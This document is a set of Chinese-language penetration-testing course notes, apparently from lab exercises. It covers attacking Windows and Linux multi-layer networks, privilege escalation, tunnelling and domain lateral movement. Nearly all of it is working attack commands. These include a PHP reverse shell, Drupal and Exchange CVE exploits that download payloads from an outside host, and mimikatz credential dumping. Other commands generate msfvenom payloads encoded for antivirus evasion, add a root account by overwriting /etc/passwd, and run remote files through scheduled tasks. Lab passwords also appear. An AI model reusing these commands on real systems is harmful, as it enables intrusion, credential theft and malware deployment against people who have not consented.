暗月实战项目笔记(杂记)
实战windows三层:
(192.168.0.129/10.10.10.130, 10.10.10.129/10.10.1.130,10.10.1.129)
- masscan、nmap 扫描开放端口和服务
- wfuzz、layer子域名搜集
- 访问所有域名,搜集框架信息、漏洞和exp
- awvs、xray、w13scan、美杜莎 扫描漏洞
- 进后台,上传shell(可先上传php小马,再用菜刀、蚁剑上传aspx大马。IIS服务器,aspx权限比php大,aspx大马方便提权)
- (上传wt.asp)或 大马扫描可写目录,msf生成反弹exe并上传、监听
- 提权:getsystem、getpriv、use post\multi\recon\local_exploit_suggester--本地提权,选择提权模块,run ---msf提权
- gobuster dir -u "www.baidu.com" -w 字典 -o save.txt----网站目录\文件扫描工具,得到后台地址,admin' or 1=1 ----弱口令测试+验证码能否复用
- sqlmap 测试后台注入点拿数据,sqlmap --os-shell 拿shell , whoami 查看权限 当sqlmap跑不出数据库时,可用大马+webconfig配置连接数据库,读取数据
- socks4a 192.168... 7788 --设置代理,少用默认1080,会被其他占用
- kali 生成正向连接exe,并通过大马的mssql上传功能 上传到第二层靶机运行监听。反向连接需要建立隧道
- proxychains3 nmap .... 或 proxychains4 firefox http://10.10.... 当代理 没反应时尝试proxychains3
- phpsduty后门事件 向内网机1.129写shell
- sockscap64.exe 增加kali的外网ip代理,保持和proxychains.conf里一致,包括代理类型socks4或socks5,把菜刀等程序拖到sockscap64里运行,即可访问内网shell(10.10.1.129 )。
- 蚁剑直接设置代理,即可访问内网---有时候连接不成功
- 菜刀上传正向连接exe 到第三层靶机运行并监听,kali得到meterpreter.
实战linux二层:
- goburster dir -u "www..." -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,html' -o xx.log --wildcard -l | grep -v "Size:10280" | grep -v "Size:49" ----- -x 扫描指定类型的文件,--wildcard 过滤不存在也返回200的文件, --grep 过滤指定大小且无用的文件
- whatweb www..... 网站信息收集
- ssh隧道需要获得靶机密码,概率比较小。sock4 代理不稳定。优先sock5代理。需要靶机下载该工具(kali上建立简易服务器,供下载)
- 编辑模版拿shell
- bypass_disablefunc.php ,bypass_disablefunc_x64.so上传,宝塔禁止了多数函数的执行,有漏网之鱼putenv,可执行msf的反弹shell,http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so ....?cmd=chmod 777 ./反弹shell.sh。。。。 -----先增加权限
....?cmd=./反弹shell.sh。。。。 ------在执行
- linux 三大信息收集脚本 提权:linenum,linux-exploit-suggester,linuxprivchecker
- 或者 suid提权
- 解决建立交互shell出现乱码的情况: sh-4.3$ python -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z 放到后台,f+g 调出来
stty raw -echo ---------------解决乱码
- 宝塔控制面板提权(前提是宝塔的权限是root最好),面板添加定时任务,执行反弹bash。
- Rogue-MySql-Server 利用mysql服务器恶意读取客户端文件漏洞,读取配置文件
- sock5 安装 :
kali: python -m simplehttpserver 80 ---建立简易服务器
kali 和 靶机 下载完都需要 解压,编译、执行
-tar -zxvf ssocks.... tar.gz ------解压
cd ssocks...
./configuire && make ------编译
kali: ./rcsocks -l 2233 -p 1080 -vv -----kali监听 靶机的2233端口
靶机的反弹shell(kali 下)里执行: ./rssocks -s 192.168.0.129:1080 -vv 12、gedit /etc/proxychains.conf
socks5 192.168.0.129 2233 -----代理kali ip+ 靶机2233端口
proxychains nmap -sT -Pn 10.10....
实战域:
- bs repeater 首次提交准确的验证码,提示账号或密码错误。再次提交,如果不提示验证码错误,则 验证码可复用。
- meterpreter 使用enable_rdp模块 开启3389远程桌面(可能要system权限)
- shell dir \\dc\c$ --web1能访问dc目录
- copy c:/user/1.exe \\dc c:/1.exe --copy到dc
- at \\dc 15:01:00 c:/1.exe --定时执行exe
- at \\dc ---查看计划任务 at id /delete --删除任务
- 等待dc执行定时任务,绑定端口
- beacon>link dc ----cs主动连接dc
实战有防护内网:
- masscan ip --rate=100 -----有waf,调低速度
- url + and 1=1,判断有误waf,F12查看网络,查看响应头里的waf信息
- nmap -A -Pn -sV ip------ -A:全面的系统扫描,检测目标主机的操作系统信息和路由信息 -Pn:禁止ping后扫描 -sV:探测端口服务版本
- 0.5s访问一次,扫描目录,过CC防护
- v9scan ---github 查找siteserver 3.6.4 poc,修改poc过狗。
- 密码找回漏洞,bs抓包,设置回答为空,得到密码,进入后台。
- 关闭windows defender:netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
8、免杀: msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx,lport=xx, -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt ---生成16进制代码(-i 编码 n次) 使用掩日.exe将16进制代码生成exe。
靶机测试:
- python3 drupa7-cve-2018-7600.py http://www.xxx.com -c "wget http:aaa/shell.php" ------------- 利用exp的-c command 执行命令功能,下载shell到网站目录,菜刀连接。
- wget ----suid提权:openssl passwd -1 -salt moon 123456 ------生成新用户moon的hash ( $1$moon$xxxx), 复制etc/passwd,复制里面第一个root的数据并修改为(moon:$1$moon$xxxx:0:0:root:/root:bin/bash ),增加新用户moon,wget下载passwd并覆盖靶机文件。切换到新用户登陆 (su moon 。。。)
----suid 的cp命令也可提权,cp /tmp/passwd etc/passwd,切换到moon用户提权
===========================================================
- 在没有gcc的靶机上,使用exp.c-----本地kali:gcc exp.c -o exp , base64 exp (后面一定要+空格) 编码,复制编码后的内容 到kali交互会话,新建文本exp.64, 粘贴内容,然后 base64 -d exp.64>exp 解码。chmod 777 exp, 执行./exp获得root权限。
- linux靶机提权:
getshell拿到www-data权限,拿到flag,解密得到web账户的密码。
su web ------输入密码,切换到web账户
显示提示:NOPASSWD: /usr/bin/awk --------可以使用awk提权
sudo awk '{ system("/bin/bash") }' -------使用awk使用root权限的命令
id -----切换到root,提权成功
------------------------------------- ------------- NOPASSWD: /usr/bin/php
sudo php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' -----------root权限执行php且不需要密码,php反弹, nc监听,得到root权限
- cewl url > pwd.txt ------爬取单词,生成字典
- .htaccess文件配置了禁止访问的文件类型,可以后台删除,上传shell
- 创建反弹shell:
nc -lnvp 9001
bs 抓包访问shell.php,替换cmd内容为nc反弹命令并编码
得到反弹会话
$ python -c 'import pty;pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo
nc -lnvp 9001 ---得到最终反弹会话
- docker image镜像提权
- ssh xx@ip -t "bash -noprofile" ----ssh登陆后没有限制,否则访问部分文件时受限
- 暴破ssh 账号密码并登陆,sudo -l ----查看当前用户的权限
若显示 (ALL:ALL) ALL ----表示可运行root的命令
9、命令执行漏洞绕过过滤:如有过滤,先base64编码得到xxx==,在输入 127.0.0.1|echo"xxx=="|base64 -d|bash ------base64解码后bash执行
例如:127.0.0.1|cat etc/passwd
隧道应用:
映射是内外双向通信,转发是外网到内网单向通信
- 在外网win A上设置端口映射访问内网win B:win A自带netsh工具---正向连接
A.cmd > netsh interface portproxy reset
cmd > netsh interface portproxy add v4tov4 listenport=7777 connectaddress=B的IP 10.10.10.128 connectport=B的端口80
cmd > netsh interface portproxy show all
cmd > netsh interface portproxy delete v4tov4 listenport=7777
kali访问A 192.168.0.129:7777即等于访问B 10.128:80
- 在外网win A上设置端口转发访问内网win B------msf反向连接
B上执行反向后门,连接到A,A通过端口转发给msf
【1、msf生成反向后门,并在B上执行,连接到A
msfvenom -p windows/meterpreter/reverse_tcp lhost=A的IP lport=4455 -f exe>r.exe
2、将A的端口4455转发到kali的4455端口上
netsh interface portproxy add v4tov4 listenport=4455 connectaddress=kali的IP,connectport=4455
3、kali设置监听
use windows/multi/handle
set payload windows/meterpreter/reverse_tcp
set lhost kali.IP
set lport 4455
run
4、B上执行反向后门
】
- cs正向连接
kali http监听器连接A 得到A.beacon,再创建tcp监听器,生成使用tcp监听器的后门,在B上执行。A.beacon > connect B.ip tcp监听器的端口,连接到B,得到B的会话。
- cs反向连接
利用A的会话,创建反弹tcp监听器(pivoting->listener->创建),创建带S的后门,并选择反弹tcp监听器。上传后门到B执行。反向连接A。cs得到B的会话。
- msf-> portfwd端口转发 ------优于autoroute+socks4a+proxychains
meterpreter->portfwd add -l 8081 -r 10.10.10.128 -p 80
kali 访问localhost:8081 ==访问B 10.128:80
meterpreter->portfwd add -l 3389 -r 10.10.10.128 -p 3389
kali rdesktop 127.0.0.1:3389 ------远程桌面控制B
- 内网穿透神器neo-regeorg:
cd到neo-regeorg目录,执行cmd:python3 neoreg.py generate -k 密码;
生成各种后门网页shell.aspx,把生成的网页放到web A
执行cmd:python3 neoreg.py -k 密码 -u A.ip/shell.aspx---开启socks server
浏览器增加socks5代理,即可访问B 10.128
- kali:ssh -qTfnN -D 7070 root@A.ip (用户@中间机器A.ip)---A是linux
- kali:ssh -L 本地端口:目标ip:目标端口 用户@中间机器A.ip -fN ---A是linux
常见使用环境2: 把目标的端口转发出来,例如mysql只允许本地访问,不能外部访问的情况
ssh -L 3307:localhost:3306 用户@中间机器A.ip -fN
mysql -h127.0.0.1 -P3307 -uroot -p123456 -----连接内网mysql
- ssh -R 本地端口:目标ip:目标端口 用户@中间机器A.ip ----反向ssh
- earthworm(ew) 工具,使用 socks5代理 穿透内网 ---停止更新
- Tunna github下载
上传conn.php到A,kali 执行 python2 proxy.py -u A.ip/conn.php -l 4444 -a 10.10.10.128 -r 3389 -v
kali : rdesktop 127.0.0.1:4444 即可远程桌面控制B 10.128
- ICMP隧道技术穿透防火墙
应用场景:kali 、A;A、B互通;kali B能ping通,但禁用了tcp协议。
在A执行 ptunnel -x 密码
kali : ptunnel -p A.ip -lp 8080 -da B.ip -dp B.port -x 密码
localhost:8080 即可访问B
13、dns隧道穿透防火墙
当靶机只允许dns出网时,可使用dns隧道技术。很少被ids拦截,隐蔽性好
缺点:慢,不适合做后门。cs有dns后门
14、frp (fast reverse proxy)反向代理穿透内网防火墙
frps.ini、frpc.ini配置token=1234密码
15、burp抓内网包(与抓外网包一样)
===================暗月项目9======================
netsh interface portproxy add v4tov4 listenport=33389 connectaddress=192.168.22.131 connectport=3389
netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.22.130 connectport=80
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenaddress=* listenport=33389 protocol=tcp
"C:\Program Files\MySQL\MySQL Server 5.5\bin\mysqldump.exe" -uroot -pzzzmoonsec javapmsv14 tq_user >C:/user.sql
mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit
net use \\192.168.22.131 QWEasd123 /user:localhost\administrator
ladon wmiexec 192.168.22.131 administrator QWEasd123 whoami
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
schtasks 128拒绝访问
schtasks /Create /S 192.168.22.128 /U Administrator /P "QWEasd123456" /SC ONCE /ST 19:27:01 /TN 999 /TR c:\1.bat /RU Administrator
schtasks /run /s 192.168.22.128 /U Administrator /P "QWEasd123456" /i /tn 999
1.bat
cmd /c "c:/icmpsh.exe -t 192.168.1.102"
copy 1.bat \\192.168.22.128\C$\Users\Administrator\AppData\Roaming\Microsoft\Windows\"Start Menu"\Programs\Startup\1.bat
开启3389,但连不上,防火墙设置不允许远程桌面通信
2.bat
C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
copy 2.bat 。。。
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
第一种:
12server2 getshell,copy 1.bat 到启动项目录下,copy icmpsh.exe到22.128,重启08server2,上线kali。关防火墙,开3389,远程桌面195
第二种:
12server2 getshell,net use \\22.128 建立ipc,sc 关闭128防火墙,copy 2.bat到128,at bat开启3389(schtasks 拒绝访问),远程桌面1.195(22.128)。
ladon 192.168.22.8/24 smbscan
ladon psexec ...
dir \\03server3\c$ 直接能访问132
at 22.132 r.exe
privilege::debug
mimikatz.exe sekurlsa::logonpasswords
-s https://mail.moonteam.com -u moonteam\administrator -p QWEasd1234 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"
-s https://mail.moonteam.com -u moonteam\moonsec -p QWEasd456 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"
-s https://mail.moonteam.com -u moonteam\moon -p QWEasd456 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"
python cve-2020-0688.py -s https://mail.moonteam.com -u moonteam\moonsec -p QWEasd456 -c "whoami"
powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')
CVE-2020-0688_EXP.py -s https://mail.moonteam.com -u moonteam\moonsec -p QWEasd456 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"
CVE-2020-0688_EXP.py -s \\192.168.1.104 -u moonteam\moonsec -p QWEasd456 -c "powershell (new-object System.Net.WebClient).DownloadFile('http://61.100.100.129/r.exe','c:/r.exe')"
lcx.exe -slave 61.100.100.129 51 10.10.2.129 3389
=======================================================
免杀:
- 全局替换 敏感字符,替换icon
- printspoofer win10、win server2016等提权工具

浙公网安备 33010602011771号